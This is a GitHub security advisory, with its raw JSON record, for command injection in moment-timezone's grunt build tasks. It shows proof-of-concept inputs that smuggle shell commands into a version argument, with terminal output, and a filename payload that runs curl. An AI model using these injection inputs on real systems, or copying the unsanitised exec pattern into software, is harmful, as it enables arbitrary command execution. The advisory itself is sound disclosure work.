GHSA-56X4-J7P9-FCF9
Vulnerability from github – Published: 2022-08-30 20:31 – Updated: 2022-08-30 20:31Impact
All versions of moment-timezone from 0.1.0 contain build tasks vulnerable to command injection.
- if Alice uses tzdata pipeline to package moment-timezone on her own (for example via
grunt data:2014d, where2014dstands for the version of the tzdata to be used from IANA's website), - and Alice let's Mallory select the version (
2014din our example), then Mallory can execute arbitrary commands on the machine running the grunt task, with the same privilege as the grunt task
Am I affected?
Do you build custom versions of moment-timezone with grunt?
If no, you're not affected.
Do you allow a third party to specify which particular version you want build?
If yes, you're vulnerable to command injection -- third party may execute arbitrary commands on the system running grunt task with the same privileges as grunt task.
Description
Command Injection via grunt-zdownload.js and MITM on iana's ftp endpoint
The tasks/data-download.js script takes in a parameter from grunt and uses it to form a command line which is then executed:
6 module.exports = function (grunt) {
7 grunt.registerTask('data-download', '1. Download data from iana.org/time-zones.', function (version) {
8 version = version || 'latest';
10 var done = this.async(),
11 src = 'ftp://ftp.iana.org/tz/tzdata-latest.tar.gz',
12 curl = path.resolve('temp/curl', version, 'data.tar.gz'),
13 dest = path.resolve('temp/download', version);
...
24 exec('curl ' + src + ' -o ' + curl + ' && cd ' + dest + ' && gzip -dc ' + curl + ' | tar -xf -', function (err) {
Ordinarily, one one run this script using something like grunt data-download:2014d, in which case version would have the value 2014d. However, if an attacker were to provide additional content on the command line, they would be able to execute arbitrary code
root@e94ba0490b65:/usr/src/app/moment-timezone# grunt 'data-download:2014d ; echo flag>/tmp/foo #'
\Running "data-download:2014d ; echo flag>/tmp/foo #" (data-download) task
>> Downloading https://data.iana.org/time-zones/releases/tzdata2014d ; echo flag>/tmp/foo #.tar.gz
>> Downloaded https://data.iana.org/time-zones/releases/tzdata2014d ; echo flag>/tmp/foo #.tar.gz
Done.
root@e94ba0490b65:/usr/src/app/moment-timezone# cat /tmp/foo
flag
Command Injection via data-zdump.js
The tasks/data-zdump.js script reads a list of files present in a temporary directory (created by previous tasks), and for each one, assembles and executes a command line without sanitization. As a result, an attacker able to influence the contents of that directory could gain code execution. This attack is exacerbated by timezone data being downloaded via cleartext FTP (described above), but beyond that, an attacker at iana.org able to modify the timezone files could disrupt any systems that build moment-timezone.
15 files = grunt.file.expand({ filter : 'isFile', cwd : 'temp/zic/' + version }, '**/*');
...
27 function next () {
...
33 var file = files.pop(),
34 src = path.join(zicBase, file),
35 dest = path.join(zdumpBase, file);
36 exec('zdump -v ' + src, { maxBuffer: 20*1024*1024 }, function (err, stdout) {
In this case, an attacker able to add a file to temp/zic/2014d (for example) with a filename like Z; curl www.example.com would influence the called to exec on line 36 and run arbitrary code. There are a few minor challenges in exploiting this, since the string needs to be a valid filename.
Command Injection via data-zic.js
Similar to the vulnerability in /tasks/data-download.js, the /tasks/data-zic.js script takes a version from the command line and uses it as part of a command line, executed without sanitization.
10 var done = this.async(),
11 dest = path.resolve('temp/zic', version),
...
22 var file = files.shift(),
23 src = path.resolve('temp/download', version, file);
24
25 exec('zic -d ' + dest + ' ' + src, function (err) {
As a result, an attacker able to influence that string can run arbitrary commands. Of course, it requires an attacker able to influence the command passed to grunt, so may be unlikely in practice.
root@e94ba0490b65:/usr/src/app/moment-timezone# grunt 'data-zic:2014d; echo hi > /tmp/evil; echo '
Running "data-zic:2014d; echo hi > /tmp/evil; echo " (data-zic) task
exec: zid -d /usr/src/app/moment-timezone/temp/zic/2014d; echo hi > /tmp/evil; echo /usr/src/app/moment-timezone/temp/download/2014d; echo hi > /tmp/evil; echo /africa
...
root@e94ba0490b65:/usr/src/app/moment-timezone# cat /tmp/evil
hi
Patches
The supplied patch on top of 0.5.34 is applicable with minor tweaks to all affected versions. It switches exec to execFile so arbitrary bash fragments won't be executed any more.
References
- https://knowledge-base.secureflag.com/vulnerabilities/code_injection/os_command_injection_nodejs.html
- https://auth0.com/blog/preventing-command-injection-attacks-in-node-js-apps/
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "moment-timezone"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.0"
},
{
"fixed": "0.5.35"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [],
"github_reviewed": true,
"github_reviewed_at": "2022-08-30T20:31:21Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Impact\n\nAll versions of moment-timezone from 0.1.0 contain build tasks vulnerable to command injection.\n\n* if Alice uses tzdata pipeline to package moment-timezone on her own (for example via `grunt data:2014d`, where `2014d` stands for the version of the tzdata to be used from IANA\u0027s website),\n* and Alice let\u0027s Mallory select the version (`2014d` in our example), then Mallory can execute arbitrary commands on the machine running the grunt task, with the same privilege as the grunt task\n\n#### Am I affected?\n\n##### Do you build custom versions of moment-timezone with grunt?\n\nIf no, you\u0027re not affected.\n\n##### Do you allow a third party to specify which particular version you want build?\n\nIf yes, you\u0027re vulnerable to command injection -- third party may execute arbitrary commands on the system running grunt task with the same privileges as grunt task.\n\n### Description\n\n#### Command Injection via grunt-zdownload.js and MITM on iana\u0027s ftp endpoint\n\nThe `tasks/data-download.js` script takes in a parameter from grunt and uses it to form a command line which is then executed:\n\n```\n6 module.exports = function (grunt) {\n7 grunt.registerTask(\u0027data-download\u0027, \u00271. Download data from iana.org/time-zones.\u0027, function (version) {\n8 version = version || \u0027latest\u0027;\n\n10 var done = this.async(),\n11 src = \u0027ftp://ftp.iana.org/tz/tzdata-latest.tar.gz\u0027,\n12 curl = path.resolve(\u0027temp/curl\u0027, version, \u0027data.tar.gz\u0027),\n13 dest = path.resolve(\u0027temp/download\u0027, version);\n...\n24 exec(\u0027curl \u0027 + src + \u0027 -o \u0027 + curl + \u0027 \u0026\u0026 cd \u0027 + dest + \u0027 \u0026\u0026 gzip -dc \u0027 + curl + \u0027 | tar -xf -\u0027, function (err) {\n```\n\nOrdinarily, one one run this script using something like `grunt data-download:2014d`, in which case version would have the value `2014d`. However, if an attacker were to provide additional content on the command line, they would be able to execute arbitrary code\n\n```\nroot@e94ba0490b65:/usr/src/app/moment-timezone# grunt \u0027data-download:2014d ; echo flag\u003e/tmp/foo #\u0027\n\\Running \"data-download:2014d ; echo flag\u003e/tmp/foo #\" (data-download) task\n\u003e\u003e Downloading https://data.iana.org/time-zones/releases/tzdata2014d ; echo flag\u003e/tmp/foo #.tar.gz\n\u003e\u003e Downloaded https://data.iana.org/time-zones/releases/tzdata2014d ; echo flag\u003e/tmp/foo #.tar.gz\n\nDone.\nroot@e94ba0490b65:/usr/src/app/moment-timezone# cat /tmp/foo\nflag\n```\n\n#### Command Injection via data-zdump.js\n\nThe `tasks/data-zdump.js` script reads a list of files present in a temporary directory (created by previous tasks), and for each one, assembles and executes a command line without sanitization. As a result, an attacker able to influence the contents of that directory could gain code execution. This attack is exacerbated by timezone data being downloaded via cleartext FTP (described above), but beyond that, an attacker at iana.org able to modify the timezone files could disrupt any systems that build moment-timezone.\n\n```\n15 files = grunt.file.expand({ filter : \u0027isFile\u0027, cwd : \u0027temp/zic/\u0027 + version }, \u0027**/*\u0027);\n...\n27 function next () {\n...\n33 var file = files.pop(),\n34 src = path.join(zicBase, file),\n35 dest = path.join(zdumpBase, file);\n36 exec(\u0027zdump -v \u0027 + src, { maxBuffer: 20*1024*1024 }, function (err, stdout) {\n```\n\nIn this case, an attacker able to add a file to `temp/zic/2014d` (for example) with a filename like `Z; curl www.example.com` would influence the called to exec on line 36 and run arbitrary code. There are a few minor challenges in exploiting this, since the string needs to be a valid filename.\n\n#### Command Injection via data-zic.js\n\nSimilar to the vulnerability in /tasks/data-download.js, the /tasks/data-zic.js script takes a version from the command line and uses it as part of a command line, executed without sanitization.\n\n```\n10 var done = this.async(),\n11 dest = path.resolve(\u0027temp/zic\u0027, version),\n...\n22 var file = files.shift(),\n23 src = path.resolve(\u0027temp/download\u0027, version, file);\n24\n25 exec(\u0027zic -d \u0027 + dest + \u0027 \u0027 + src, function (err) {\n```\n\nAs a result, an attacker able to influence that string can run arbitrary commands. Of course, it requires an attacker able to influence the command passed to grunt, so may be unlikely in practice.\n\n```\nroot@e94ba0490b65:/usr/src/app/moment-timezone# grunt \u0027data-zic:2014d; echo hi \u003e /tmp/evil; echo \u0027\nRunning \"data-zic:2014d; echo hi \u003e /tmp/evil; echo \" (data-zic) task\nexec: zid -d /usr/src/app/moment-timezone/temp/zic/2014d; echo hi \u003e /tmp/evil; echo /usr/src/app/moment-timezone/temp/download/2014d; echo hi \u003e /tmp/evil; echo /africa\n...\n\nroot@e94ba0490b65:/usr/src/app/moment-timezone# cat /tmp/evil\nhi\n```\n\n### Patches\n\nThe supplied patch on top of 0.5.34 is applicable with minor tweaks to all affected versions. It switches `exec` to `execFile` so arbitrary bash fragments won\u0027t be executed any more.\n\n### References\n\n* https://knowledge-base.secureflag.com/vulnerabilities/code_injection/os_command_injection_nodejs.html\n* https://auth0.com/blog/preventing-command-injection-attacks-in-node-js-apps/",
"id": "GHSA-56x4-j7p9-fcf9",
"modified": "2022-08-30T20:31:21Z",
"published": "2022-08-30T20:31:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/moment/moment-timezone/security/advisories/GHSA-56x4-j7p9-fcf9"
},
{
"type": "WEB",
"url": "https://github.com/moment/moment-timezone/commit/ce955a301ff372e8e9fb3a5b516620c60e7a082a"
},
{
"type": "PACKAGE",
"url": "https://github.com/moment/moment-timezone"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Command Injection in moment-timezone"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.